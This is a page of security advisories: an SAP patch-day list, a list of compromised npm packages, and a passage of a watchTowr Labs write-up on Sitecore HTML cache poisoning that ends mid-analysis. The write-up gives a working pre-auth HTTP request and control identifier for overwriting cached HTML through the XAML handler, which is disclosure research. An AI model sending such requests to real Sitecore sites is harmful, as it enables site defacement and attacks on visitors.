Recent bundles

SAP Security Patch Day - September 2025

3634501

[CVE-2025-42944Insecure Deserialization vulnerability in SAP Netweaver (RMI-P4)

Product - SAP Netweaver (RMI-P4)
Version - SERVERCORE 7.50

Critical

10.0

3643865

[CVE-2025-42922Insecure File Operations vulnerability in SAP NetWeaver AS Java (Deploy Web Service)

Product - SAP NetWeaver AS Java (Deploy Web Service)
Version - J2EE-APPS 7.50

Critical

9.9

3302162

Update to Security Note released on March 2023 Patch Day:

[CVE-2023-27500Directory Traversal vulnerability in SAP NetWeaver AS for ABAP and ABAP Platform

Product – SAP NetWeaver AS for ABAP and ABAP Platform
Version – 700, 701, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757

Critical

9.6

3627373

[CVE-2025-42958Missing Authentication check in SAP NetWeaver

Product - SAP NetWeaver
Version - KRNL64NUC 7.22, 7.22EXT, KRNL64UC 7.22, 7.22EXT, 7.53, KERNEL 7.22, 7.53, 7.54

Critical

9.1

3642961

[CVE-2025-42933Insecure Storage of Sensitive Information in SAP Business One (SLD)

Product - SAP Business One (SLD)
Version - B1_ON_HANA 10.0, SAP-M-BO 10.0

High

8.8

3633002

[CVE-2025-42929Missing input validation vulnerability in SAP Landscape Transformation Replication Server

Product - SAP Landscape Transformation Replication Server
Version - DMIS 2011_1_620, 2011_1_640, 2011_1_700, 2011_1_710, 2011_1_730, 2011_1_731, 2011_1_752, 2020

High

8.1

3635475

[CVE-2025-42916Missing input validation vulnerability in SAP S/4HANA (Private Cloud or On-Premise)

Product - SAP S/4HANA (Private Cloud or On-Premise)
Version - S4CORE 102, 103, 104, 105, 106, 107, 108

High

8.1

3581811

Update to Security Note released on April 2025 Patch Day:

[CVE-2025-27428Directory Traversal vulnerability in SAP NetWeaver and ABAP Platform (Service Data Collection)

Product - SAP NetWeaver and ABAP Platform (Service Data Collection)
Version - ST-PI 2008_1_700, 2008_1_710, 740

High

7.7

3620264

[CVE-2025-22228Security Misconfiguration vulnerability in Spring security within SAP Commerce Cloud and SAP Datahub

Product - SAP Commerce Cloud and SAP Datahub
Version - HY_COM 2205, HY_DHUB 2205, COM_CLOUD 2211, DHUB_CLOUD 2211

Medium

6.6

3614067

[CVE-2025-42930Denial of Service (DoS) vulnerability in SAP Business Planning and Consolidation

Product - SAP Business Planning and Consolidation
Version - BPC4HANA 200, 300, SAP_BW 750, 751, 752, 753, 754, 755, 756, 757, 758, 816, 914, CPMBPC 810

Medium

6.5

3635587

[CVE-2025-42912Missing Authorization check in SAP HCM (My Timesheet Fiori 2.0 application)

Additional CVEs - CVE-2025-42913, CVE-2025-42914

Product - SAP HCM (My Timesheet Fiori 2.0 application)
Version - GBX01HR5 605

Medium

6.5

3643832

[CVE-2025-42917Missing Authorization check in SAP HCM (Approve Timesheets Fiori 2.0 application)

Product - SAP HCM (Approve Timesheets Fiori 2.0 application)
Version - GBX01HR5 605

Medium

6.5

3611420

[CVE-2023-5072Denial of Service (DoS) vulnerability due to outdated JSON library used in SAP BusinessObjects Business Intelligence Platform

Product - SAP BusinessObjects Business Intelligence Platform
Version - ENTERPRISE 430, 2025, 2027

Medium

6.5

3647098

[CVE-2025-42920Cross-Site Scripting (XSS) vulnerability in SAP Supplier Relationship Management

Product - SAP Supplier Relationship Management
Version – SRM_SERVER 700, 701, 702, 713, 714

Medium

6.1

3629325

[CVE-2025-42938Cross-Site Scripting (XSS) vulnerability in SAP NetWeaver ABAP Platform

Product - SAP NetWeaver ABAP Platform
Version - S4CRM 100, 200, 204, 205, 206, S4CEXT 109, BBPCRM 713, 714

Medium

6.1

3409013

[CVE-2025-42915Missing Authorization Check in Fiori app (Manage Payment Blocks)

Product - Fiori app (Manage Payment Blocks)
Version - S4CORE 107, 108

Medium

5.4

3619465

[CVE-2025-42926Missing Authentication check in SAP NetWeaver Application Server Java

Product - SAP NetWeaver Application Server Java
Version - WD-RUNTIME 7.50

Medium

5.3

3627644

[CVE-2025-42911Missing Authorization check in SAP NetWeaver (Service Data Download)

Product - SAP NetWeaver (Service Data Download)
Version - SAP_BASIS 700, SAP_BASIS 701, SAP_BASIS 702, SAP_BASIS 731, SAP_BASIS 740, SAP_BASIS 750, SAP_BASIS 751, SAP_BASIS 752, SAP_BASIS 753, SAP_BASIS 754, SAP_BASIS 755, SAP_BASIS 756, SAP_BASIS 757, SAP_BASIS 758, SAP_BASIS 816

Medium

5.0

3610322

Update to Security Note released on July 2025 Patch Day:

[CVE-2025-42961Missing Authorization check in SAP NetWeaver Application Server for ABAP

Product - SAP NetWeaver Application Server for ABAP
Version – SAP_BASIS 700, SAP_BASIS 701, SAP_BASIS 702, SAP_BASIS 731, SAP_BASIS 740, SAP_BASIS 750, SAP_BASIS 751, SAP_BASIS 752, SAP_BASIS 753, SAP_BASIS 754, SAP_BASIS 755, SAP_BASIS 756, SAP_BASIS 757, SAP_BASIS 758, SAP_BASIS 816

Medium

4.9

3640477

[CVE-2025-42925Predictable Object Identifier vulnerability in SAP NetWeaver AS Java (IIOP Service)

Product - SAP NetWeaver AS Java (IIOP Service)
Version – SERVERCORE 7.50

Medium

4.3

3450692

[CVE-2025-42923Cross-Site Request Forgery (CSRF) vulnerability in SAP Fiori App (F4044 Manage Work Center Groups)

Product - SAP Fiori App (F4044 Manage Work Center Groups)
Version - UIS4HOP1 600, 700, 800, 900

Medium

4.3

3623504

[CVE-2025-42918Missing Authorization check in SAP NetWeaver Application Server for ABAP (Background Processing)

Product - SAP NetWeaver Application Server for ABAP (Background Processing)
Version - SAP_BASIS 700, SAP_BASIS 701, SAP_BASIS 702, SAP_BASIS 731, SAP_BASIS 740, SAP_BASIS 750, SAP_BASIS 751, SAP_BASIS 752, SAP_BASIS 753, SAP_BASIS 754, SAP_BASIS 755, SAP_BASIS 756, SAP_BASIS 757, SAP_BASIS 758, SAP_BASIS 816

Medium

4.3

3577131

Update to Security Note released on April 2025 Patch Day:

[CVE-2025-31331Authorization Bypass vulnerability in SAP NetWeaver

Product - SAP NetWeaver
Version - SAP_ABA 700, 701, 702, 731, 740, 750, 751, 752, 75C, 75D, 75E, 75F, 75G, 75H, 75I

Medium

4.3

3624943

Update to Security Note released on August 2025 Patch Day:

[CVE-2025-42941Reverse Tabnabbing vulnerability in SAP Fiori (Launchpad)

Product - SAP Fiori (Launchpad)
Version - SAP_UI 754

Low

3.5

3525295

[CVE-2025-42927Information Disclosure due to Outdated OpenSSL Version in SAP NetWeaver AS Java (Adobe Document Service)

Product - SAP NetWeaver AS Java (Adobe Document Service)
Version - ADSSAP 7.50

Low

3.4

3632154

[CVE-2024-13009Potential Improper Resource Release vulnerability in SAP Commerce Cloud

Product - SAP Commerce Cloud
Version - HY_COM 2205, COM_CLOUD 2211

Low

3.1


Related vulnerabilities: CVE-2025-42961CVE-2025-42917CVE-2025-42923CVE-2025-42915CVE-2025-42918CVE-2025-42958CVE-2025-42916CVE-2025-22228CVE-2025-42930CVE-2025-42938CVE-2025-42927CVE-2025-27428CVE-2023-27500CVE-2025-42926CVE-2024-13009CVE-2025-42913CVE-2025-42933CVE-2025-42922CVE-2025-42944CVE-2025-42929CVE-2025-42911CVE-2025-42912CVE-2025-42941CVE-2025-42914CVE-2025-31331CVE-2025-42925CVE-2025-42920CVE-2023-5072

CVE Assigned for the account compromised

Account compromised: https://www.npmjs.com/~qix) and duckdb_admin - source code of the malware

  • DuckDB packages - https://github.com/duckdb/duckdb-node/security/advisories/GHSA-w62p-hx95-gf2c - CVE-2025-59037
  • Prebid - prebid-universal-creative - https://vulnerability.circl.lu/vuln/CVE-2025-59039 - CVE-2025-59039
  • Prebid.js - https://vulnerability.circl.lu/vuln/cve-2025-59038 - CVE-2025-59038

Package known to be compromised

Package Version
backslash 0.2.1
chalk-template 1.1.1
supports-hyperlinks 4.1.1
has-ansi 6.0.1
simple-swizzle 0.2.3
color-string 2.1.1
error-ex 1.3.3
color-name 2.0.1
is-arrayish 0.3.3
slice-ansi 7.1.1
color-convert 3.1.1
wrap-ansi 9.0.1
ansi-regex 6.2.1
supports-color 10.2.1
strip-ansi 7.1.1
chalk 5.6.1
debug 4.4.2
ansi-styles 6.2.2


Related vulnerabilities: CVE-2025-59038CVE-2025-59039CVE-2025-59037GHSA-W62P-HX95-GF2C

Cache Me If You Can (Sitecore Experience Platform Cache Poisoning to RCE)

What is the main purpose of a Content Management System (CMS)?

We have to accept that when we ask such existential and philosophical questions, we’re also admitting that we have no idea and that there probably isn’t an easy answer (this is our excuse, and we’re sticking with it).

However, we’d bet that you, the reader, probably would say something like “to create and deploy websites”. One might even believe each CMS comes with Bambi’s phone number.

Delusion aside, the general consensus seems to be that the ultimate goal of a CMS is to make it easy for end users to create a shiny website on the Internet and do many, many things.

But wait - isn’t the CMS market incredibly crowded? What can a CMS vendor do to stand out?

It’s obvious when you ask yourself, “Why should the enjoyment of editing a website be limited to the intended authorized user?”.

Welcome back to another watchTowr Labs blogpost - Yes, we’re finally following up with part 2 of our Sitecore Experience Platform research.

Today, we’ll discuss our research as we continue from part 1, which ultimately led to our discovery of numerous further vulnerabilities in the Sitecore Experience Platform, enabling complete compromise.

For the unjaded;

Sitecore’s Experience Platform is a vastly popular Content Management System (CMS), exposed to the Internet and heavily utilized across organizations known as ‘the enterprise’. You may recall from our previous Sitecore research - a cursory look at their client list showed tier-1 enterprises, and a cursory sweep of the Internet identified at least 22,000 Sitecore instances.

And yet somehow, we resisted the urge to plaster the Internet with our logo.

You are welcome.

So, What’s Occurring In Part 2?

As always, it wouldn’t be much fun if we didn’t take things way too far.

In part 2 of our Sitecore research, we’ll continue to demonstrate a lack of restraint or awareness of danger, demonstrating how we chained our ability to combine a pre-auth HTML cache poisoning vulnerability with a post-auth Remote Code Execution vulnerability to completely compromise a fully-patched (at the time) Sitecore Experience Platform instance.

Previously, in part 1, you may recall that we covered three vulnerabilities:

Today, in part 2, we will be focusing on new vulnerabilities:

  • WT-2025-0023 (CVE-2025-53693) - HTML Cache Poisoning through Unsafe Reflections
  • WT-2025-0019 (CVE-2025-53691) - Remote Code Execution through Insecure Deserialization
  • WT-2025-0027 (CVE-2025-53694) - Information Disclosure in ItemServices API

These vulnerabilities were identified in Sitecore Experience Platform 10.4.1 rev. 011628 for the purposes of today's analysis.

Patches were released in June and July 2025 (you can find patch details here and here).

0:00

/0:35

WT-2025-0023 (CVE-2025-53693): HTML Cache Poisoning Through Unsafe Reflection

Authors note: attention, this is going to be a very technically heavy section. If you want to skim through, make your way to the cat meme.

If you’ve ever read a Sitecore vulnerability write-up, you’ll know it exposes several different HTTP handlers.

One of them is the infamous Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, which has been abused more than once in the past.

This handler is registered in the web.config file:

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

We can reach this handler pre-auth with a simple HTTP request like:

GET /-/xaml/watever

So what’s actually happening here?

The XamlPageHandlerFactory is designed to internally fetch another handler responsible for page generation. This resolution happens through the XamlPageHandlerFactory.GetHandler method:

public IHttpHandler GetHandler(HttpContext context, string requestType, string url, string pathTranslated)
{
    Assert.ArgumentNotNull(context, "context");
    Assert.ArgumentNotNull(requestType, "requestType");
    Assert.ArgumentNotNull(url, "url");
    Assert.ArgumentNotNull(pathTranslated, "pathTranslated");
    int indexOfFirstMatchToken = url.GetIndexOfFirstMatchToken(new List<string>
    {
        "~/xaml/",
        "-/xaml/"
    }, StringComparison.OrdinalIgnoreCase);
    if (indexOfFirstMatchToken >= 0)
    {
        return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(url, indexOfFirstMatchToken)); // [1]
    }
    indexOfFirstMatchToken = context.Request.PathInfo.GetIndexOfFirstMatchToken(new List<string>
    {
        "~/xaml/",
        "-/xaml/"
    }, StringComparison.OrdinalIgnoreCase);
    if (indexOfFirstMatchToken >= 0)
    {
        return XamlPageHandlerFactory.GetXamlPageHandler(context, StringUtil.Left(context.Request.PathInfo, indexOfFirstMatchToken));
    }
    return null;
}

At [1], the XamlPageHandlerFactory.GetXamlPageHandler method is invoked. Its job is simple on paper: return the handler object that implements the IHttpHandler interface.

There are a few different routines that can resolve which handler gets returned, but the one that matters most for our purposes is the path that leverages .xaml.xml files (that’s almost certainly why the word Xaml shows up in the handler’s name).

These .xaml.xml files are scattered across a Sitecore installation — for example, in locations like sitecore/shell/Applications/Xaml.

Let’s take a look at a fragment of one of these XAML definition files — for example, WebControl.xaml.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<xamlControls 
  xmlns:x="<http://www.sitecore.net/xaml>"
  xmlns:ajax="<http://www.sitecore.net/ajax>"
  xmlns:rest="<http://www.sitecore.net/rest>"
  xmlns:r="<http://www.sitecore.net/renderings>"
  xmlns:xmlcontrol="<http://www.sitecore.net/xmlcontrols>"
  xmlns:p="<http://schemas.sitecore.net/Visual-Studio-Intellisense>"
  xmlns:asp="<http://www.sitecore.net/microsoft/webcontrols>"
  xmlns:html="<http://www.sitecore.net/microsoft/htmlcontrols>"
  xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>">

  <Sitecore.Shell.Xaml.WebControl>

    <Sitecore.Controls.HtmlPage runat="server">
      <AjaxScriptManager runat="server" />
      <ContinuationManager runat="server" />

      <asp:Wizard ID="Wizard1" runat="server" Width="322px" ActiveStepIndex="0" OnActiveStepChanged="GetFavoriteNumerOnActiveStepIndex"
                    BorderColor="#B5C7DE" BorderWidth="1px" Font-Size="8pt" 
                    CellPadding="5">
        <NavigationButtonStyle BackColor="White" BorderColor="red" BorderStyle="Solid" BorderWidth="1px" Font-Size="8pt" ForeColor="#284E98" />
        <SideBarStyle BackColor="blue" Font-Size="8pt" VerticalAlign="Top" />
        <StepStyle ForeColor="#333333" />
        <SideBarButtonStyle Font-Size="8pt" ForeColor="White" />
        <HeaderStyle BackColor="green" BorderColor="#EFF3FB"  BorderStyle="Solid" BorderWidth="2px" Font-Bold="True" Font-Size="8pt" ForeColor="White" HorizontalAlign="Center" />
        <WizardSteps>
          <asp:WizardStep ID="WizardStep1" runat="server" Title="Step 1" AllowReturn="False">
            Wizard Step 1<br />
            <br />                                                    
            Favorite Number:                                                                     
            <asp:DropDownList ID="DropDownList1" runat="server">
              <asp:ListItem>1</asp:ListItem>
              <asp:ListItem>2</asp:ListItem>
              <asp:ListItem>3</asp:ListItem>
              <!-- removed for readability -->

This file defines a full control structure, with nested controls and components. You can reach this handler directly by calling the class defined in the first tag:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

From there, Sitecore generates the entire page, initializes every component described in the XAML, and wires up all the flows and rules in the .NET code.

That means you can dig into these XAML definitions and review the controls to see if anything interesting falls out.

Which is exactly how we ended up at this line:

<AjaxScriptManager runat="server" />

It includes the Sitecore.Web.UI.WebControls.AjaxScriptManager control (which extends .NET WebControl). That means some of its methods - like OnPreRender - will fire automatically when the page initializes.

From here, we follow the thread into the code flow. Exciting? Yes. Tiring? Also yes. But this is where things start to get interesting:

protected override void OnPreRender(EventArgs e)
{
    Assert.ArgumentNotNull(e, "e");
    base.OnPreRender(e);
    if (!this.IsEvent)
    {
        this.PageScriptManager.OnPreRender();
        return;
    }
    System.Web.UI.Page page = this.Page;
    if (page == null)
    {
        return;
    }
    page.SetRenderMethodDelegate(new RenderMethod(this.RenderPage));
    this.EnableOutput();
    this.EnsureChildControls();
    string clientId = page.Request.Form["__SOURCE"]; // [1]
    string text = page.Request.Form["__PARAMETERS"]; // [2]
    if (string.IsNullOrEmpty(text))
    {
        string systemFormValue = AjaxScriptManager.GetSystemFormValue(page, "__EVENTTYPE");
        if (string.IsNullOrEmpty(systemFormValue))
        {
            return;
        }
        text = AjaxScriptManager.GetLegacyEvent(page, systemFormValue);
    }
    if (ContinuationManager.Current == null)
    {
        this.Dispatch(clientId, text);
        return;
    }
    AjaxScriptManager.DispatchContinuation(clientId, text); // [3]
}

At [1], the code pulls the value of __SOURCE straight from the HTML body.

At [2], it does the same for __PARAMETERS.

At [3], execution continues through the DispachContinuation method - which, in turn, takes us to the Dispatch method. That’s where the real story begins.

internal object Dispatch(string clientId, string parameters)
{
    //... removed for readability
    if (!string.IsNullOrEmpty(clientId))
    {
        control = page.FindControl(clientId); // [1]
        if (control == null)
        {
            control = AjaxScriptManager.FindClientControl(page, clientId); // [2]
        }
    }
    if (control == null)
    {
        control = this.MainControl;
    }
    Assert.IsNotNull(control, "Control \\"{0}\\" not found.", clientId);
    bool flag = AjaxScriptManager.CommandPattern.IsMatch(parameters);
    if (flag)
    {
        this.DispatchCommand(control, parameters);
        return null;
    }
    return AjaxScriptManager.DispatchMethod(control, parameters); // [3]
}

At [1] and [2], the code attempts to retrieve a control based on the __SOURCE parameter. In practice, this means you can point it to any control defined in the XAML.

At [3], the retrieved control and our supplied __PARAMETERS body parameter are passed into the DispatchMethod. This is where things get interesting - the critical method that underpins this vulnerability.

private static object DispatchMethod(System.Web.UI.Control control, string parameters)
{
    Assert.ArgumentNotNull(control, "control");
    Assert.ArgumentNotNullOrEmpty(parameters, "parameters");
    AjaxMethodEventArgs ajaxMethodEventArgs = AjaxMethodEventArgs.Parse(parameters); // [1]
    Assert.IsNotNull(ajaxMethodEventArgs, typeof(AjaxMethodEventArgs), "Parameters \\"{0}\\" could not be parsed.", parameters);
    ajaxMethodEventArgs.TargetControl = control;
    List<IIsAjaxEventHandler> handlers = AjaxScriptManager.GetHandlers(control); // [2]
    for (int i = handlers.Count - 1; i >= 0; i--)
    {
        handlers[i].PreviewMethodEvent(ajaxMethodEventArgs);
        if (ajaxMethodEventArgs.Handled)
        {
            return ajaxMethodEventArgs.ReturnValue;
        }
    }
    for (int j = 0; j < handlers.Count; j++)
    {
        handlers[j].HandleMethodEvent(ajaxMethodEventArgs); // [3]
        if (ajaxMethodEventArgs.Handled)
        {
            return ajaxMethodEventArgs.ReturnValue;
        }
    }
    if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]
    {
        return ajaxMethodEventArgs.ReturnValue;
    }
    return null;
}

At [1], the parameters string is parsed into AjaxMethodEventArgs objects. These objects contain two key properties: the method name and the method arguments. It’s worth noting that arguments can only be retrieved in two forms:

  • An array of strings
  • An empty array

At [2], the code retrieves a list of objects implementing the IIsAjaxEventHandler interface, based on the control we selected.

private static List<IIsAjaxEventHandler> GetHandlers(System.Web.UI.Control control)
{
    Assert.ArgumentNotNull(control, "control");
    List<IIsAjaxEventHandler> list = new List<IIsAjaxEventHandler>();
    while (control != null)
    {
        IIsAjaxEventHandler isAjaxEventHandler = control as IIsAjaxEventHandler;
        if (isAjaxEventHandler != null)
        {
            list.Add(isAjaxEventHandler);
        }
        control = control.Parent;
    }
    return list;
}

It simply takes our control and its parent controls, then attempts a cast.

At [3], the code iterates over the retrieved handlers and calls their HandleMethodEvent.

Let’s pause here. The IIsAjaxEventHandler.HandleMethodEvent method is only implemented in four Sitecore classes, and realistically only two are of interest. By “interesting,” we mean classes that we can supply via the XAML handler and that give us at least some hope of being abusable:

  • Sitecore.Web.UI.XamlShar.Xaml.XamlPage
  • Sitecore.Web.UI.XamlSharp.Xaml.XamlControl

Their implementations of HandleMethodEvent are almost identical:

void IIsAjaxEventHandler.HandleMethodEvent(AjaxMethodEventArgs e)
{
    Assert.ArgumentNotNull(e, "e");
    this.ExecuteAjaxMethod(e);
}

protected virtual bool ExecuteAjaxMethod(AjaxMethodEventArgs e)
{
    Assert.ArgumentNotNull(e, "e");
    MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true); // [1]
    if (methodFiltered != null)
    {
        methodFiltered.Invoke(this, e.Parameters); // [2]
        return true;
    }
    return false;
}

At [1], the method name and arguments from the AjaxMethodEventArgs are passed into reflection to resolve which method to call.

At [2], the selected method is then invoked with our arguments.

So yes - we’ve landed in a reflection mechanism that lets us call methods dynamically. And we already know we can supply string arguments. In other words, if we can find any method that accepts strings, we might have a straightforward path to RCE.

Before we get too excited, there’s a catch: the method isn’t just any method. It’s resolved through ReflectionUtil.GetMethodFiltered, so we need to understand how that filtering works.

One more detail worth noting: the first argument being passed is this. Which means the current object instance will be handed into the call - and that shapes exactly which methods we can realistically reach.

public static MethodInfo GetMethodFiltered<T>(object obj, string methodName, object[] parameters, bool throwIfFiltered) where T : Attribute
{
    MethodInfo method = ReflectionUtil.GetMethod(obj, methodName, parameters); // [1]
    if (method == null)
    {
        return null;
    }
    return ReflectionUtil.Filter.Filter<T>(method); // [2]
}

At [1], the method gets resolved.

Under the hood, this happens through fairly standard .NET reflection: the input contains both a method name and its arguments. That’s typical reflection behavior - look up a method by name, check its argument types, and call it.

Here’s the twist: the current object is also passed in as an argument. In practice, this object will always be either XamlPage or XamlControl. That means we can only ever resolve methods which:

  • Are implemented in XamlPage, XamlControl, or one of their subclasses.
  • Accept only string arguments, or none at all.

We started reviewing both classes. Nothing exciting there. But then we remembered - these classes also extend regular .NET classes. For example, XamlControl extends System.Web.UI.WebControls.WebControl. That gave us hope. Maybe we could reflectively call interesting methods from WebControl.

That hope was short-lived. At [2], the Filter<T> method steps in. It enforces internal allowlists and denylists over the methods returned at [1]. The ultimate rule is simple: only methods whose full name contains Sitecore. are allowed. That kills our chance to call into .NET’s WebControl - since, unsurprisingly, its full name doesn’t contain “Sitecore”.

So, to recap:

  • Yes, there’s reflection.
  • But it’s restricted to Sitecore methods only (and two Sitecore classes).
  • Sadly, nothing abusable here.

Still, we chased this rabbit hole with excitement - the attack surface looked incredibly promising. That’s research life: get your hopes up, then watch them get filtered out.

But before giving up, we spotted one more detail worth digging into. At [4] in DispatchMethod, there’s another branch of logic that can be easy to miss in the shadow of the reflection handling:

if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, ajaxMethodEventArgs)) // [4]

If the control can be cast to XmlControl, execution takes a different path. It’s handed directly into DispatchXmlControl, along with our ajaxMethodEventArgs.

But once you dig into DispatchXmlControl, you realize it behaves almost exactly like the reflection flow we just walked through.

Same mechanics, same idea – just a slightly different wrapper.

private static bool DispatchXmlControl(System.Web.UI.Control control, AjaxMethodEventArgs eventArgs)
{
    Assert.ArgumentNotNull(control, "control");
    Assert.ArgumentNotNull(eventArgs, "eventArgs");
    MethodInfo methodFiltered = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(control, eventArgs.Method, eventArgs.Parameters, true);
    if (methodFiltered == null)
    {
        return false;
    }
    eventArgs.ReturnValue = methodFiltered.Invoke(control, eventArgs.Parameters);
    eventArgs.Handled = true;
    return true;
}

There’s one major difference here though. Our control is no longer XamlPage or XamlControl in type - it’s an XmlControl type. That technically extends the attack surface, since we already knew the first two classes didn’t offer much in terms of abusable methods.

So what about XmlControl? Could this be where things get exciting?

Sadly, no. There’s nothing particularly juicy hiding inside. But for completeness (and to avoid the sinking feeling of missing something obvious later), let’s take a quick look at its definition anyway:

namespace Sitecore.Web.UI.XmlControls
{
    public class XmlControl : WebControl, IHasPlaceholders
    {
            //...
        }
}

There’s a small trap here. At first glance, you might think XmlControl extends the familiar .NET System.Web.UI.WebControl. That wouldn’t be a big deal, because implemented reflections deny the non-Sitecore classes.

But no - XmlControl actually extends an abstract class, Sitecore.Web.UI.WebControl. This subtle difference matters because it means it slips through the whitelist filter we saw earlier. In other words, this class,= and anything that extends it, can get past the “only Sitecore.*” rule. That puts it back on our “potentially abusable” list.

Now, the obvious question: can we actually deliver any control that extends XmlControl? Without that, this whole reflection path is just an academic curiosity.

After a bit of digging, we found the answer - and it’s not a long list. In fact, we found only one handler with a class extending XmlControl:

HtmlPage.xaml.xml

This is our entry point. If we can instantiate this control through a crafted XAML handler, we can hit the reflection logic again - this time with a new type (XmlControl) that passes the whitelist check. And that finally sets us up for the “magic method” we’d been chasing all along.

<?xml version="1.0" encoding="utf-8" ?>
<xamlControls
  xmlns:html="<http://www.sitecore.net/htmlcontrols>"
  xmlns:x="<http://www.sitecore.net/xaml>"
  xmlns:xmlcontrol="<http://www.sitecore.net/xmlcontrols>"> <!-- [1] -->
  <Sitecore.Controls.HtmlPage>&lt;!DOCTYPE html&gt;
    <x:param name="Title" value="Sitecore" />
    <x:param name="Background" />
    <x:param name="Overflow" />
    <html>
      <html:Head runat="server">
        <html:Title runat="server">
          <Literal Text="{Title}" runat="server"></Literal>
        </html:Title>
        <meta name="GENERATOR" content="Sitecore" />
        <meta http-equiv="imagetoolbar" content="no" />
        <meta http-equiv="imagetoolbar" content="false" />
        <Placeholder runat="server" key="Stylesheets"/>
        <Placeholder runat="server" key="Scripts"/>
      </html:Head>

      <HtmlBody runat="server">
        <x:styleattribute runat="server" name="overflow" value="{Overflow}" />

        <html:Form runat="server">
          <x:styleattribute runat="server" name="background" value="{Background}" />
          <xmlcontrol:GlobalHeader runat="server"/> <!-- [2] -->
          <Placeholder runat="server"/>
        </html:Form>
      </HtmlBody>
    </html>
  </Sitecore.Controls.HtmlPage>
</xamlControls>

At [1], we’ve got the xmlcontrol namespace defined.

At [2], you can see the xmlcontrol:GlobalHeader in action.

So far, so good. But something’s missing: you’ll notice the AjaxScriptManager isn’t referenced anywhere in this XAML. And without it, we can’t actually trigger the reflection logic we’ve been chasing.

Fortunately, we didn’t have to wait long for a breakthrough. We quickly realized that the HtmlPage control shows up in other handlers too. One of the most interesting?

Sitecore.Shell.Xaml.WebControl

This handler pulls in both the HtmlPage and the AjaxScriptManager. That means, in this context, the missing piece snaps into place – and our path to reflection (via XmlControl) is wide open again.

Let’s take a look:

<!-- removed for readability -->
<Sitecore.Shell.Xaml.WebControl>

    <Sitecore.Controls.HtmlPage runat="server">
      <AjaxScriptManager runat="server" />
<!-- removed for readability -->

We have HtmlPage referenced in Sitecore.Shell.Xaml.WebControl, and that in turn pulls in the xmlcontrol:GlobalHeader control.

So to sum up, if we call this endpoint:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

We have the AjaxScriptManager used, thus the code responsible for the reflection will be triggered, and xmlcontrol:GlobalHeader will be on the list of available controls. Great!

Which means it’s finally time to reveal the “secret weapon” we found hiding inside the Sitecore.Web.UI.WebControl class: a surprisingly powerful method that changes the game.

It’s the Sitecore.Web.UI.WebControl.AddToCache(string, string) method:

protected virtual void AddToCache(string cacheKey, string html)
{
    HtmlCache htmlCache = CacheManager.GetHtmlCache(Sitecore.Context.Site); 
    if (htmlCache != null)
    {
        htmlCache.SetHtml(cacheKey, html, this._cacheTimeout);
    }
}

You might have expected something flashier. But then again, the title of this blog literally promised HTML cache poisoning - so maybe this is exactly what we deserved.

Still, there’s a certain beauty in just how simple (and unsafe) this reflection really is. With a single call to AddToCache, we can hand it two things:

  • The name of the cache key
  • Whatever HTML content we want stored under that key

Internally, this just wraps HtmlCache.SetHtml, which happily overwrites existing entries or adds new ones. That’s it. Clean, direct, and very powerful.

And the best part? This works pre-auth. If there’s any HTML cached in Sitecore, we can replace it with whatever we want.

Reaching AddToCache

That long description can feel like a maze if you’re not buried in the codebase or stepping through the debugger. So let’s take a breather from the internals and look at something a little more tangible: a sample HTTP request:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: labcm.dev.local
Content-Length: 117
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("watever","<html><body>watchTowr</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Let’s break this request down into its two important parameters:

  • **__PARAMETERS** - here, the method name AddToCache is specified. Inside the parentheses we pass two string arguments: the first is the cacheKey, the second is the html value to store.
  • **__SOURCE** - this identifies the control on which the method from __PARAMETERS should be executed.

This control identifier isn’t exactly intuitive: ctl00_ctl00_ctl05_ctl03 represents the tree of controls defined in the XAML, ultimately pointing us to the GlobalHeader control (which extends XmlControl). This identifier should be stable across Sitecore deployments since it’s derived directly from the static XAML handler definitions.

To double-check, you can step into AjaxScriptManager.FindClientControl and verify that the __SOURCE value really does resolve to the GlobalHeader.

It does indeed resolve correctly - __SOURCE gives us the GlobalHeader control (the control3 object). Perfect.

From here, we can keep stepping through the debugger until execution flows straight into DispatchXmlControl. That’s where things start to get properly interesting.

We’ve finally hit the reflection stage, and methodFiltered is set to the AddToCache(string, string) method – reflection worked.

At this point, there’s no detour left: execution lands exactly where we wanted it, with a direct call to AddToCache.

This is super awesome - but we’re not ready to celebrate yet. We still don’t know how Sitecore actually generates the cacheKey, and without that piece of the puzzle we can’t reliably overwrite legitimate cached HTML.

Cache Key Creation

After a quick investigation, we realized that nothing in Sitecore is cacheable by default. You have to explicitly opt in for HTML caching, but it turns out that’s extremely common.

Performance guides, blog posts, and Sitecore’s own docs all recommend enabling it to speed up your site. In fact, Sitecore actively encourages it in multiple places, like here and here:

You use the HTML cache to improve the performance of websites.

You can get significant performance gains from configuring output caching for Layout Service renderings...

Enabling caching is as simple as flipping a setting for Sitecore items – just like in the screenshot below.

If you tick the Cacheable box, caching is enabled for that specific Sitecore item. There are a handful of other options too - like Vary By Login, Vary By Query String, etc.

These selections aren’t just cosmetic. They directly influence how the cache key is generated inside Sitecore.Web.UI.WebControl.GetCacheKey. In practice, the cache key is built from a mix of the item name plus whatever “vary by” conditions you’ve configured.

So the shape of the cache key - and whether you can reliably overwrite a given entry - depends entirely on how caching has been configured for that item.

public virtual string GetCacheKey()
{
    SiteContext site = Sitecore.Context.Site;
    if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()) // [1]
    {
        string text = this.CachingID; // [2]
        if (text.Length == 0)
        {
            text = this.CacheKey;
        }
        if (text.Length > 0)
        {
            string text2 = text + "_#lang:" + Language.Current.Name.ToUpperInvariant(); // [3]
            if (this.VaryByData) // [4]
            {
                string str = this.ResolveDataKeyPart();
                text2 += str;
            }
